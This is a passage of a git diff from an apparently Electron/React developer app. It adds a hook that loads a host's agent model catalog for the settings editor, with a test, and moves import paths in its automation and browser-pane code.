+// A Codex account answer: its models are scoped, so no new chat in another workspace may reuse it.
+const LISTED = {
+  origin: 'probe',
+  modelsDifferByWorkspace: true,
+  models: [
+    {
+      id: 'gpt-6-astra',
+      label: 'GPT-6-Astra',
+      isDefault: true,
+      efforts: [
+        { value: 'low', label: 'Low' },
+        { value: 'ultra', label: 'Ultra' }
+      ]
+    },
+    { id: 'gpt-reserve', label: 'GPT-Reserve', hidden: true, efforts: [] }
+  ]
+}
+
+const HOST = { kind: 'environment', environmentId: 'env-1' } as const
+
+function renderEditor(model?: string): void {
+  render(
+    <TooltipProvider>
+      <AgentLaunchChoiceEditor
+        agent="codex"
+        label="Codex"
+        choices={model ? { model } : undefined}
+        userArgs=""
+        permission={undefined}
+        catalogTarget={HOST}
+        save={async () => {}}
+      />
+    </TooltipProvider>
+  )
+}
+
+describe('AgentLaunchChoiceEditor model list', () => {
+  const initialSettings = useAppStore.getState().settings
+
+  beforeEach(() => {
+    call.mockReset()
+    menus.clear()
+    resetHostModelCatalogSnapshotsForTests()
+  })
+  afterEach(() => {
+    cleanup()
+    useAppStore.setState({ settings: initialSettings })
+  })
+
+  it('shows the refreshed model after the agent command changes and ignores the older answer', async () => {
+    let answerOlder: (catalog: unknown) => void = () => {}
+    call.mockReturnValueOnce(new Promise((resolve) => (answerOlder = resolve)))
+    call.mockResolvedValueOnce({
+      ...LISTED,
+      models: [{ id: 'gpt-wrapped', label: 'GPT Wrapped', efforts: [] }]
+    })
+    const settings = getDefaultSettings('')
+    useAppStore.setState({ settings })
+    renderEditor()
+
+    act(() => {
+      useAppStore.setState({
+        settings: { ...settings, agentCmdOverrides: { codex: 'wrapped-codex' } }
+      })
+    })
+
+    await waitFor(() => expect(menus.get('Model')).toEqual(['__agent_default__', 'gpt-wrapped']))
+    await act(async () => answerOlder(LISTED))
+    expect(menus.get('Model')).toEqual(['__agent_default__', 'gpt-wrapped'])
+  })
+})
diff --git a/src/renderer/src/components/agent/launch-settings/AgentLaunchChoiceEditor.tsx b/src/renderer/src/components/agent/launch-settings/AgentLaunchChoiceEditor.tsx
index 6e95245b19c..c37b4a84610 100644
--- a/src/renderer/src/components/agent/launch-settings/AgentLaunchChoiceEditor.tsx
+++ b/src/renderer/src/components/agent/launch-settings/AgentLaunchChoiceEditor.tsx
@@ -12,7 +12,9 @@ import { useAgentLaunchFieldWrite } from './use-agent-launch-field-write'
 import { reconcileAgentChoiceArgs } from '../../../../../shared/agent-launch/choices/agent-choice-reconciliation'
 import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
 import { useTranslate } from '@/i18n/use-translate'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 import { AgentChoiceFields } from './AgentChoiceControls'
+import { useAgentSettingsModelCatalog } from './use-agent-settings-model-catalog'
 
 export function AgentLaunchChoiceEditor({
   agent,
@@ -22,9 +24,12 @@ export function AgentLaunchChoiceEditor({
   permission,
   permissionControlRef,
   save,
+  catalogTarget,
   showArguments = true
 }: {
   showArguments?: boolean
+  /** The host whose models this editor lists; null keeps the release's seed models. */
+  catalogTarget: RuntimeClientTarget | null
   agent: TuiAgent
   label: string
   choices: AgentModelOptionChoices | undefined
@@ -34,6 +39,10 @@ export function AgentLaunchChoiceEditor({
   save: (patch: AgentChoicePatch | undefined, userArgs: string) => Promise<void>
 }): React.JSX.Element {
   const t = useTranslate()
+  const { catalog: liveCatalog, usesSeedModels } = useAgentSettingsModelCatalog(
+    agent,
+    catalogTarget
+  )
   const menu = useRef({ open: false, committed: false })
   const editorRef = useRef<HTMLDivElement>(null)
   const [draft, setDraft] = useState<string | null>(null)
@@ -101,6 +110,8 @@ export function AgentLaunchChoiceEditor({
           value={choices}
           disabled={pending}
           layout="rows"
+          liveCatalog={liveCatalog}
+          usesSeedModels={usesSeedModels}
           onOpenChange={onOpenChange}
           optionIds={['effort']}
           onSelect={(patch) => commit(patch)}
diff --git a/src/renderer/src/components/agent/launch-settings/use-agent-settings-model-catalog.ts b/src/renderer/src/components/agent/launch-settings/use-agent-settings-model-catalog.ts
new file mode 100644
index 00000000000..8965a1f4a95
--- /dev/null
+++ b/src/renderer/src/components/agent/launch-settings/use-agent-settings-model-catalog.ts
@@ -0,0 +1,112 @@
+import { useEffect, useState, useSyncExternalStore } from 'react'
+import { useShallow } from 'zustand/react/shallow'
+import type { AgentSessionModelCatalogResult } from '../../../../../shared/agent-session/agent-session-wire'
+import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
+import {
+  HOST_MODEL_CATALOG_ACCOUNT_SETTINGS,
+  withoutUnprovenNewLaunchDefault
+} from '../../../../../shared/agent-session/options/host-model-catalog-snapshot-rules'
+import { sourceControlActionAgentPicksModel } from '../../../../../shared/source-control/ai/recipes/source-control-action-options'
+import {
+  hostModelCatalogGeneration,
+  readHostModelCatalogSnapshot,
+  subscribeHostModelCatalogForgotten
+} from '@/runtime/native-chat/model-catalogs/host-model-catalog-snapshots'
+import { subscribeHostAgentLaunchSettings } from '@/runtime/agent-launch-settings/agent-launch-settings-transport'
+import { callStructuredAgentSession } from '@/runtime/native-chat/requests/structured-agent-session-call'
+import { structuredAgentSessionHostKey } from '@/runtime/native-chat/host-capabilities/structured-agent-session-host-capability'
+import { useAppStore } from '@/store'
+
+const SETTINGS_LAUNCH = { newLaunch: true, seedsModel: true }
+
+/** The host's account models for a Settings default. `usesSeedModels` says the release's list stands in. */
+export function useAgentSettingsModelCatalog(
+  agent: TuiAgent,
+  target: RuntimeClientTarget | null
+): { catalog: AgentSessionModelCatalogResult | undefined; usesSeedModels: boolean } {
+  const key = target ? `${structuredAgentSessionHostKey(target)}\u0000${agent}` : null
+  // Same array until one changes: a new account or command lists different models.
+  const accountSettings = useAppStore(
+    useShallow((state) => HOST_MODEL_CATALOG_ACCOUNT_SETTINGS.map((name) => state.settings?.[name]))
+  )
+  // A host can change account with no setting changing here, such as a paired host reconnecting.
+  const readGeneration = (): number => (target ? hostModelCatalogGeneration(target) : 0)
+  const generation = useSyncExternalStore(subscribeHostModelCatalogForgotten, readGeneration)
+  // A paired host's command and environment live in its own settings; re-read, keeping the shown list meanwhile.
+  const [hostRevision, setHostRevision] = useState(0)
+  const environmentId = target?.kind === 'environment' ? target.environmentId : null
+  const isLocal = target?.kind === 'local'
+  useEffect(
+    () =>
+      environmentId
+        ? subscribeHostAgentLaunchSettings((owner) => {
+            if (owner.environmentId === environmentId) {
+              setHostRevision((revision) => revision + 1)
+            }
+          })
+        : undefined,
+    [environmentId]
+  )
+  const [answer, setAnswer] = useState<{
+    key: string
+    accountSettings: readonly unknown[]
+    generation: number
+    catalog: AgentSessionModelCatalogResult | undefined
+  } | null>(null)
+  useEffect(() => {
+    // Rebuilt from primitives: callers pass a new target object every render.
+    const readTarget: RuntimeClientTarget | null = environmentId
+      ? { kind: 'environment', environmentId }
+      : isLocal
+        ? { kind: 'local' }
+        : null
+    if (!readTarget || !key || !sourceControlActionAgentPicksModel(agent)) {
+      return
+    }
+    let stale = false
+    // Not recorded in the new-chat snapshot: an account answer there would drop newer workspace answers.
+    // Old hosts refuse waitForListing, so wait only once the host says a listing is running.
+    const read = (wait: boolean): void => {
+      void callStructuredAgentSession<AgentSessionModelCatalogResult>(
+        readTarget,
+        'agentSession.modelCatalog',
+        wait ? { agent, waitForListing: true } : { agent }
+      )
+        .then((catalog) => {
+          if (stale) {
+            return
+          }
+          if (wait ? catalog.waitExpired : catalog.listingInProgress) {
+            read(true)
+            return
+          }
+          setAnswer({ key, accountSettings, generation, catalog })
+        })
+        // Why not the snapshot: an unanswered read can't vouch for an older list.
+        .catch(() => {
+          if (!stale) {
+            setAnswer({ key, accountSettings, generation, catalog: undefined })
+          }
+        })
+    }
+    read(false)
+    return () => {
+      stale = true
+    }
+  }, [agent, key, environmentId, isLocal, accountSettings, generation, hostRevision])
+  const settled =
+    answer?.key === key &&
+    answer.accountSettings === accountSettings &&
+    answer.generation === generation
+      ? answer
+      : null
+  // Why not the snapshot once answered: it serves new chats, so it refuses workspace-scoped lists.
+  const catalog = settled
+    ? settled.catalog && withoutUnprovenNewLaunchDefault(settled.catalog)
+    : target
+      ? readHostModelCatalogSnapshot(target, agent, SETTINGS_LAUNCH)
+      : undefined
+  const listed = catalog && catalog.origin !== 'unknown' && catalog.models.length > 0
+  return { catalog, usesSeedModels: !listed && (!target || settled !== null) }
+}
diff --git a/src/renderer/src/components/automations/authoring/AutomationProjectCombobox.tsx b/src/renderer/src/components/automations/authoring/AutomationProjectCombobox.tsx
index 0c25f2bfcbe..9ca36679492 100644
--- a/src/renderer/src/components/automations/authoring/AutomationProjectCombobox.tsx
+++ b/src/renderer/src/components/automations/authoring/AutomationProjectCombobox.tsx
@@ -7,7 +7,7 @@ import RepoBadgeLabel from '@/components/repo/RepoBadgeLabel'
 import { useAppStore } from '@/store/index'
 import { isGitRepoKind } from '../../../../../shared/repo-kind'
 import { getRepoExecutionHostId } from '../../../../../shared/execution-host'
-import { isRepoSearchQueryTooLarge, searchRepos } from '@/lib/repo-search'
+import { isRepoSearchQueryTooLarge, searchRepos } from '@/lib/workspace/catalog/repo-search'
 import { cn } from '@/lib/class-names'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { useTranslate } from '@/i18n/use-translate'
diff --git a/src/renderer/src/lib/automations-changed-window-event.ts b/src/renderer/src/components/automations/events/automations-changed-window-event.ts
similarity index 91%
rename from src/renderer/src/lib/automations-changed-window-event.ts
rename to src/renderer/src/components/automations/events/automations-changed-window-event.ts
index bb582287ebf..a0bdfaf94f5 100644
--- a/src/renderer/src/lib/automations-changed-window-event.ts
+++ b/src/renderer/src/components/automations/events/automations-changed-window-event.ts
@@ -1,5 +1,5 @@
 /** Fan out authority changes within the renderer without coupling every publisher to the Automations page. */
-import type { AutomationsChangedPayload } from '../../../shared/runtime-client-events'
+import type { AutomationsChangedPayload } from '../../../../../shared/runtime-client-events'
 
 export const AUTOMATIONS_CHANGED_EVENT = 'orca:automations-changed'
 
diff --git a/src/renderer/src/components/automations/hosts/AutomationHostBadges.tsx b/src/renderer/src/components/automations/hosts/AutomationHostBadges.tsx
index c2be0482feb..9bea7507917 100644
--- a/src/renderer/src/components/automations/hosts/AutomationHostBadges.tsx
+++ b/src/renderer/src/components/automations/hosts/AutomationHostBadges.tsx
@@ -39,7 +39,9 @@ export function AutomationHostLabel({
   showAuthority = false,
   className
 }: AutomationHostLabelProps): React.JSX.Element {
-  const accessibleName = showAuthority ? `${entry.authorityLabel} · ${entry.label}` : entry.label
+  const label = entry.label
+  const authorityLabel = entry.authorityLabel
+  const accessibleName = showAuthority ? `${authorityLabel} · ${label}` : label
 
   return (
     <Tooltip>
@@ -51,7 +53,7 @@ export function AutomationHostLabel({
           data-host-stable-key={entry.stableKey}
         >
           <RepoBadgeLabel
-            name={entry.label}
+            name={label}
             color={color ?? 'var(--muted-foreground)'}
             className="max-w-full"
           />
diff --git a/src/renderer/src/components/automations/hosts/automation-host-catalog-source.ts b/src/renderer/src/components/automations/hosts/automation-host-catalog-source.ts
index bfd8fe113a8..0363304dec1 100644
--- a/src/renderer/src/components/automations/hosts/automation-host-catalog-source.ts
+++ b/src/renderer/src/components/automations/hosts/automation-host-catalog-source.ts
@@ -1,6 +1,6 @@
 /** Build catalog input only from mirrored store state. Fold query results into the separate health projection so cache commits cannot trigger generation changes/cancellation. */
 
-import { getLocalExecutionHostLabel } from '../../../../../shared/execution-host'
+import { translateLocalExecutionHostLabel } from '@/components/sidebar/execution-host-label'
 import { AUTOMATION_LIST_HOST_SCOPE_RUNTIME_CAPABILITY } from '../../../../../shared/automations/automation-runtime-capabilities'
 import type { RuntimeStatus } from '../../../../../shared/runtime-session-contracts'
 import type { SshConnectionStatus } from '../../../../../shared/ssh-types'
@@ -113,7 +113,7 @@ export function buildAutomationHostCatalogSource(
 ): AutomationHostCatalogInput {
   return {
     desktop: {
-      label: source.desktopLabel ?? getLocalExecutionHostLabel(),
+      label: source.desktopLabel ?? translateLocalExecutionHostLabel(),
       // Desktop records status when dialing; no state for a hydrated target means never connected.
       ssh: toSshMirror(source.desktopSsh, 'disconnected'),
       ...withOrphanCount(orphanCountFor(source, { kind: 'desktop' }))
diff --git a/src/renderer/src/components/automations/hosts/automation-host-invalidation-window-events.ts b/src/renderer/src/components/automations/hosts/automation-host-invalidation-window-events.ts
index f56f380c2df..10c105787f7 100644
--- a/src/renderer/src/components/automations/hosts/automation-host-invalidation-window-events.ts
+++ b/src/renderer/src/components/automations/hosts/automation-host-invalidation-window-events.ts
@@ -4,7 +4,7 @@ import {
   AUTOMATIONS_CHANGED_EVENT,
   automationsChangedWindowDetail,
   type AutomationsChangedWindowDetail
-} from '@/lib/automations-changed-window-event'
+} from '@/components/automations/events/automations-changed-window-event'
 import type { StableAutomationAuthorityRef } from '../../../../../shared/automations/ownership/automation-owner-ref'
 import type { AutomationAuthorityChangeEvent } from './automation-host-invalidation'
 
diff --git a/src/renderer/src/components/automations/hosts/automation-target-availability.ts b/src/renderer/src/components/automations/hosts/automation-target-availability.ts
index 9834d615ee7..1e04f05cdad 100644
--- a/src/renderer/src/components/automations/hosts/automation-target-availability.ts
+++ b/src/renderer/src/components/automations/hosts/automation-target-availability.ts
@@ -9,7 +9,7 @@ import {
   repoHostMatchesRunContext
 } from './automation-run-context-host-match'
 import { evaluateRuntimeCompat } from '../../../../../shared/protocol-compat'
-import { describeRuntimeCompatBlock } from '@/lib/runtime-host-copy'
+import { describeRuntimeCompatBlock } from '@/runtime/hosts/display/runtime-host-copy'
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
 import {
diff --git a/src/renderer/src/components/automations/hosts/use-automation-host-catalog.test.tsx b/src/renderer/src/components/automations/hosts/use-automation-host-catalog.test.tsx
index 8cecc8d0d16..fc9acfc0d80 100644
--- a/src/renderer/src/components/automations/hosts/use-automation-host-catalog.test.tsx
+++ b/src/renderer/src/components/automations/hosts/use-automation-host-catalog.test.tsx
@@ -164,17 +164,6 @@ afterEach(async () => {
   document.body.innerHTML = ''
 })
 
-describe('useAutomationHostCatalog orphan bootstrap', () => {
-  it('projects the orphan entry a host answer reported', async () => {
-    desktopListScoped.mockResolvedValue({ automations: [], items: [], orphanCount: 2 })
-
-    await renderCatalog([])
-
-    // Committed orphan counts arrive only through cache changes; rederive the catalog without requiring a store write.
-    expect(view?.catalog.entries.map((entry) => entry.stableKey)).toContain('host:desktop:orphan')
-  })
-})
-
 describe('useAutomationHostCatalog on a paired web client', () => {
   const runtimeSelf = {
     authority: { kind: 'runtime', environmentId: ENVIRONMENT_ID },
diff --git a/src/renderer/src/components/automations/hosts/use-automation-host-catalog.ts b/src/renderer/src/components/automations/hosts/use-automation-host-catalog.ts
index 9eb4f38e3d4..08e0cfd6c57 100644
--- a/src/renderer/src/components/automations/hosts/use-automation-host-catalog.ts
+++ b/src/renderer/src/components/automations/hosts/use-automation-host-catalog.ts
@@ -2,7 +2,8 @@ import { useCallback, useEffect, useEffectEvent, useMemo, useRef, useState } fro
 import { useAppStore } from '@/store/index'
 import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision'
 import { getHostDisplayLabelOverrides } from '../../../../../shared/host-setting-overrides'
-import { getLocalExecutionHostLabel } from '../../../../../shared/execution-host'
+import { translateLocalExecutionHostLabel } from '@/components/sidebar/execution-host-label'
+import { useTranslate } from '@/i18n/use-translate'
 import type { AutomationHostFilter } from '../../../../../shared/automations/ownership/automation-host-filter'
 import type { StableAutomationAuthorityRef } from '../../../../../shared/automations/ownership/automation-owner-ref'
 import { buildAutomationHostCatalog } from './automation-host-catalog'
@@ -74,6 +75,7 @@ export type AutomationHostCatalogOptions = {
 export function useAutomationHostCatalog(
   options: AutomationHostCatalogOptions = {}
 ): AutomationHostCatalogView {
+  const t = useTranslate()
   const settings = useAppStore((s) => s.settings)
   const repos = useAppStore((s) => s.repos)
   const runtimeEnvironments = useAppStore((s) => s.runtimeEnvironments)
@@ -84,8 +86,10 @@ export function useAutomationHostCatalog(
   const desktopSshGenerations = useAutomationDesktopSshRegistrations()
 
   const desktopLabel = useMemo(
-    () => getHostDisplayLabelOverrides(settings).get('local') ?? getLocalExecutionHostLabel(),
-    [settings]
+    () =>
+      getHostDisplayLabelOverrides(settings).get('local') ??
+      translateLocalExecutionHostLabel(undefined, t),
+    [settings, t]
   )
   // The controller outlives renders; its partition callback needs current authority repo tables.
   const repoTables = useMemo(() => groupReposByAutomationAuthority(repos), [repos])
diff --git a/src/renderer/src/components/automations/listing/AutomationListFilterMenu.tsx b/src/renderer/src/components/automations/listing/AutomationListFilterMenu.tsx
index 80099a50dc5..c097d880e28 100644
--- a/src/renderer/src/components/automations/listing/AutomationListFilterMenu.tsx
+++ b/src/renderer/src/components/automations/listing/AutomationListFilterMenu.tsx
@@ -153,7 +153,10 @@ function AutomationHostFilterRows({
 }): React.JSX.Element {
   const selected = new Set(selectedHostKeys)
   const rows = useBoundedHostRows(
-    entries.map((entry) => ({ id: entry.stableKey, label: entry.label })),
+    entries.map((entry) => ({
+      id: entry.stableKey,
+      label: entry.label
+    })),
     selected
   )
   return (
diff --git a/src/renderer/src/components/automations/runs/automation-run-workspace-action.ts b/src/renderer/src/components/automations/runs/automation-run-workspace-action.ts
index 82764baa8bd..7c6b8797c46 100644
--- a/src/renderer/src/components/automations/runs/automation-run-workspace-action.ts
+++ b/src/renderer/src/components/automations/runs/automation-run-workspace-action.ts
@@ -1,14 +1,12 @@
-import { openExistingStructuredSession } from '@/lib/open-existing-structured-session'
+import { openExistingStructuredSession } from '@/lib/agent-session/open/open-existing-structured-session'
 import { ALL_TUI_AGENTS } from '../../../../../shared/agent-launch/catalog/tui-agent-display-names'
 import { isStructuredAgentSessionIdFor } from '../../../../../shared/agent-session/structured-agent-session-create'
-import type { AutomationRun } from '../../../../../shared/automations/history/automation-run'
 import { toast } from 'sonner'
 import { translate } from '@/i18n/i18n'
 import {
   activateAndRevealWorktree,
   activateAndRevealFolderWorkspace
 } from '@/lib/workspace/activation/worktree-activation'
-import type { ActivateAndRevealResult } from '@/lib/workspace/activation/worktree-activation-outcome'
 import { activateWslMovedWorkspace } from '@/lib/workspace/activation/wsl-moved-chat-activation'
 import { useAppStore } from '@/store/index'
 import { activateTerminalTabOnOwner } from '@/lib/workspace/tabs/terminal-tab-owner-activation'
@@ -17,6 +15,8 @@ import { resolveWebSessionVisibleTabId } from '@/runtime/web-session-tabs-sync/n
 import { parsePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import { parseWorkspaceKey } from '../../../../../shared/workspace-scope'
 import { buildAutomationRunOpenLayout } from './automation-run-pane-layout'
+import type { AutomationRun } from '../../../../../shared/automations/history/automation-run'
+import type { ActivateAndRevealResult } from '@/lib/workspace/activation/worktree-activation-outcome'
 import type { AutomationsPageActionContext } from '../automations-page-action-context'
 
 let cancelPendingReveal: (() => void) | undefined
diff --git a/src/renderer/src/components/automations/runs/use-automation-runs-dashboard.test.tsx b/src/renderer/src/components/automations/runs/use-automation-runs-dashboard.test.tsx
index 1a4f97193e3..8ebe3f8a7e3 100644
--- a/src/renderer/src/components/automations/runs/use-automation-runs-dashboard.test.tsx
+++ b/src/renderer/src/components/automations/runs/use-automation-runs-dashboard.test.tsx
@@ -36,12 +36,13 @@ type HarnessProps = {
   enabled: boolean
   authority?: AutomationAuthorityRef
   target?: AutomationHostTarget | null
+  currentRows?: typeof rows
 }
 
-function Harness({ enabled, authority, target }: HarnessProps): null {
+function Harness({ enabled, authority, target, currentRows = rows }: HarnessProps): null {
   latest = useAutomationRunsDashboard({
     enabled,
-    rows,
+    rows: currentRows,
     context,
     legacyTarget: useCallback(() => target ?? null, [target]),
     authorityForRow: useCallback(() => authority ?? { kind: 'desktop' }, [authority]),
@@ -119,4 +120,12 @@ describe('useAutomationRunsDashboard', () => {
     expect(historySpy.mock.calls.at(-1)?.[2].cursor).toBeUndefined()
     expect(latest?.entries.map((entry) => entry.run.id)).toEqual(['run-2'])
   })
+  it('updates the host label on existing run history when the host row changes', async () => {
+    await render(true, { currentRows: [{ ...row, hostLabel: 'previous name' }] })
+    expect(latest?.entries[0]?.run.id).toBe('run-2')
+    await render(true, { currentRows: [{ ...row, hostLabel: 'new name' }] })
+    expect(latest?.entries[0]?.run.id).toBe('run-2')
+    expect(latest?.entries[0]?.row.hostLabel).toBe('new name')
+    expect(latest?.entries[0]?.searchText).toContain('new name')
+  })
 })
diff --git a/src/renderer/src/components/automations/runs/use-automation-runs-dashboard.ts b/src/renderer/src/components/automations/runs/use-automation-runs-dashboard.ts
index 9379449c671..571b1e15650 100644
--- a/src/renderer/src/components/automations/runs/use-automation-runs-dashboard.ts
+++ b/src/renderer/src/components/automations/runs/use-automation-runs-dashboard.ts
@@ -185,5 +185,23 @@ export function useAutomationRunsDashboard({
     }
   }, [enabled, loadMore, loadMoreToken, queryKey, reloadToken])
 
-  return enabled ? { ...state, loadMore } : { ...EMPTY_STATE, loadMore }
+  const currentEntries = useMemo(() => {
+    const runsByRowKey = new Map<string, AutomationRunsDashboardRun[]>()
+    for (const entry of state.entries) {
+      const runs = runsByRowKey.get(entry.row.key) ?? []
+      runs.push(entry.run)
+      runsByRowKey.set(entry.row.key, runs)
+    }
+    return buildAutomationRunsDashboardEntries(rows, runsByRowKey)
+  }, [rows, state.entries])
+  const currentFailures = useMemo(() => {
+    const rowsByKey = new Map(rows.map((row) => [row.key, row]))
+    return state.failures.map((failure) => ({
+      ...failure,
+      row: rowsByKey.get(failure.row.key) ?? failure.row
+    }))
+  }, [rows, state.failures])
+  return enabled
+    ? { ...state, entries: currentEntries, failures: currentFailures, loadMore }
+    : { ...EMPTY_STATE, loadMore }
 }
diff --git a/src/renderer/src/components/automations/use-automations-page-refresh.ts b/src/renderer/src/components/automations/use-automations-page-refresh.ts
index 9a9742d8172..645c91dc6e8 100644
--- a/src/renderer/src/components/automations/use-automations-page-refresh.ts
+++ b/src/renderer/src/components/automations/use-automations-page-refresh.ts
@@ -1,7 +1,7 @@
 import { useCallback, useEffect, useRef } from 'react'
 import { installWindowVisibilityInterval } from '@/lib/window-activity/window-visibility-interval'
 import { useAppStore } from '@/store/index'
-import { AUTOMATIONS_CHANGED_EVENT } from '@/lib/automations-changed-window-event'
+import { AUTOMATIONS_CHANGED_EVENT } from '@/components/automations/events/automations-changed-window-event'
 import {
   getAutomationHostTargetKey,
   getAutomationListedTargetFromHostId,
diff --git a/src/renderer/src/components/browser-extension-install-dialog.tsx b/src/renderer/src/components/browser-extension-install-dialog.tsx
index a291a587b6a..58263ef5c67 100644
--- a/src/renderer/src/components/browser-extension-install-dialog.tsx
+++ b/src/renderer/src/components/browser-extension-install-dialog.tsx
@@ -12,6 +12,7 @@ import {
 } from '@/components/ui/dialog'
 import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
+import { translateBrowserSessionProfileLabel } from '@/lib/browser-session-profile-label'
 import { useAppStore } from '@/store'
 import type { BrowserExtensionInstallPromptRequest } from '../../../shared/browser/extensions/browser-extension-webstore'
 import {
@@ -72,7 +73,7 @@ function promptDescription(
     ? t(
         'browserExtensions.install.profileDescription',
         'It runs in tabs that use the {{profile}} profile.',
-        { profile: request.profileLabel }
+        { profile: translateBrowserSessionProfileLabel(request.profileLabel) }
       )
     : t('browserExtensions.install.description', 'It runs in Orca browser tabs.')
 }
diff --git a/src/renderer/src/components/browser-pane/agent-cursor/browser-agent-activity-state.ts b/src/renderer/src/components/browser-pane/agent-cursor/browser-agent-activity-state.ts
index b9f95154d4f..98ce6117002 100644
--- a/src/renderer/src/components/browser-pane/agent-cursor/browser-agent-activity-state.ts
+++ b/src/renderer/src/components/browser-pane/agent-cursor/browser-agent-activity-state.ts
@@ -14,7 +14,9 @@ type BrowserAgentActivityMark = { pageId: string; revision: number }
 const activePageIds = new Set<string>()
 /** The SSH host driving a page through the desktop browser bridge, by its label. */
 const controllerHostByPage = new Map<string, string>()
-const lastActivityByWorktree = new Map<string, BrowserAgentActivityMark>()
+/** Activity no chat claimed: older CLIs, remote hosts and terminal agents. */
+const lastUnclaimedActivityByWorktree = new Map<string, BrowserAgentActivityMark>()
+const lastActivityByChatSession = new Map<string, BrowserAgentActivityMark>()
 const lastCursorByPage = new Map<string, BrowserAgentCursorEvent>()
 const sinksByPage = new Map<string, BrowserAgentCursorSink>()
 const listeners = new Set<() => void>()
@@ -37,7 +39,8 @@ export function setBrowserAgentPageActive(
   browserPageId: string,
   active: boolean,
   worktreeId: string | null,
-  controllerHostLabel?: string
+  controllerHostLabel?: string,
+  agentSessionId?: string
 ): void {
   if (active) {
     revision += 1
@@ -47,8 +50,11 @@ export function setBrowserAgentPageActive(
     } else {
       controllerHostByPage.delete(browserPageId)
     }
-    if (worktreeId) {
-      lastActivityByWorktree.set(worktreeId, { pageId: browserPageId, revision })
+    const mark = { pageId: browserPageId, revision }
+    if (agentSessionId) {
+      lastActivityByChatSession.set(agentSessionId, mark)
+    } else if (worktreeId) {
+      lastUnclaimedActivityByWorktree.set(worktreeId, mark)
     }
   } else {
     activePageIds.delete(browserPageId)
@@ -112,11 +118,15 @@ export function useBrowserAgentControllerHost(
   return useSyncExternalStore(subscribe, read, read)
 }
 
-/** What an agent in this worktree drove most recently, while this window has been open. */
+/** What this chat's agent drove most recently; until it has claimed any, what an unclaimed agent in its worktree did. */
 export function useLastBrowserAgentActivity(
-  worktreeId: string | null
+  worktreeId: string | null,
+  chatSessionId: string | null
 ): BrowserAgentActivityMark | null {
+  // A chat that claimed activity names itself on this host, so unclaimed activity is another agent's.
   const read = (): BrowserAgentActivityMark | null =>
-    worktreeId ? (lastActivityByWorktree.get(worktreeId) ?? null) : null
+    (chatSessionId ? lastActivityByChatSession.get(chatSessionId) : undefined) ??
+    (worktreeId ? lastUnclaimedActivityByWorktree.get(worktreeId) : undefined) ??
+    null
   return useSyncExternalStore(subscribe, read, read)
 }
diff --git a/src/renderer/src/components/browser-pane/annotate/use-browser-page-annotation-send.ts b/src/renderer/src/components/browser-pane/annotate/use-browser-page-annotation-send.ts
index bb26b30562e..b986f14057d 100644
--- a/src/renderer/src/components/browser-pane/annotate/use-browser-page-annotation-send.ts
+++ b/src/renderer/src/components/browser-pane/annotate/use-browser-page-annotation-send.ts
@@ -1,17 +1,17 @@
 import { useCallback, useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { translate } from '@/i18n/i18n'
 import type {
   BrowserAnnotationIntent,
   BrowserPageAnnotation
 } from '../../../../../shared/browser/element-grab/browser-grab-types'
-import { formatBrowserAnnotationsAsMarkdown } from './browser-annotation-output'
+import { formatBrowserAnnotationsAsMarkdown } from '../../../../../shared/browser/annotations/browser-annotation-output'
 import { EMPTY_BROWSER_ANNOTATIONS } from '../describe-page/browser-annotation-geometry'
 import {
   holdNotesForSend,
   isNoteInFlight,
   useNotesInFlightVersion
-} from '@/lib/notes-send-in-flight'
+} from '@/components/notes/delivery/notes-send-in-flight'
 import { recomputeOn } from '@/lib/recompute-on'
 
 export function useBrowserPageAnnotationSend({
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/BrowserPaneOverlayLayer.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/BrowserPaneOverlayLayer.tsx
index 115ff430fc4..a7e89388e8e 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/BrowserPaneOverlayLayer.tsx
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/BrowserPaneOverlayLayer.tsx
@@ -15,7 +15,7 @@ import {
   isClientHostedBrowserRowSelectionLive,
   useClientHostedBrowserRowSelection,
   useClientHostedBrowserRows
-} from '@/lib/pane-manager/client-hosted-browser-row-state'
+} from '@/runtime/browser/client-hosting/client-hosted-browser-row-state'
 import { ClientHostedBrowserHostRowPane } from '../client-hosted-browser-host-row-pane'
 import { useAnyBrowserPageMountAdmission } from '../host-guest/browser-page-mount-admission'
 
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-link-status-bubble.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-link-status-bubble.tsx
index 8b3c067ddcf..496f05fb914 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-link-status-bubble.tsx
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-link-status-bubble.tsx
@@ -1,6 +1,6 @@
 import { useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react'
 import { cn } from '@/lib/class-names'
-import { windowDipToCssPx } from '@/lib/ui-zoom'
+import { windowDipToCssPx } from '@/app-shell/chrome/ui-zoom'
 import { toDisplayUrl } from '../describe-page/browser-page-url-display'
 
 // Chrome's status bubble timings (status_bubble_views.cc, status_bubble.h).
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-context-menu.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-context-menu.tsx
index 076f6934cb1..2d8520157cb 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-context-menu.tsx
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-context-menu.tsx
@@ -1,4 +1,4 @@
-import { windowDipToCssPx } from '@/lib/ui-zoom'
+import { windowDipToCssPx } from '@/app-shell/chrome/ui-zoom'
 import {
   useCallback,
   useEffect,
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-toolbar-profile-sub.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-toolbar-profile-sub.tsx
index 18c29e74bee..405048faa49 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-toolbar-profile-sub.tsx
